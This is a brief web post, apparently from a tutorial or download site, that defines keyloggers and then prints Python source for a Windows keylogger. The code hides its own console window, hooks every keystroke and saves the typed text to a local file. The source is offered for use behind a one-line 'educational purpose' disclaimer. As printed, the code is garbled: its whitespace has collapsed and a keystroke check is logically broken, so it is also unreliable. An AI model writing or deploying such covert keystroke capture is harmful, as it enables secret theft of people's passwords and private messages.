Keyloggers are a type of monitoring software designed to record keystrokes made by a user. One of the oldest forms of cyber threat, these keystroke loggers record the information you type into a website or application and send to back to a third party!
You have to wait 15 seconds.
Python Key Logger Code
# For Windows OSimportwin32apiimportwin32consoleimportwin32guiimportpythoncom,pyHookwin=win32console.GetConsoleWindow()win32gui.ShowWindow(win,0)defOnKeyboardEvent(event):ifevent.Ascii==5:_exit(1)ifevent.Ascii!=0or8:#read current keystrokesf=open('c:\output.txt','r+')buffer=f.read()f.close()# write current + new keystrokesf=open('c:\output.txt','w')keylogs=chr(event.Ascii)ifevent.Ascii==13:keylogs='/n'buffer+=keylogsf.write(buffer)f.close()# create a hook manager objecthm=pyHook.HookManager()hm.KeyDown=OnKeyboardEvent# set the hookhm.HookKeyboard()# wait foreverpythoncom.PumpMessages()
Disclaimer: This post is for educational purpose. Use it for learning.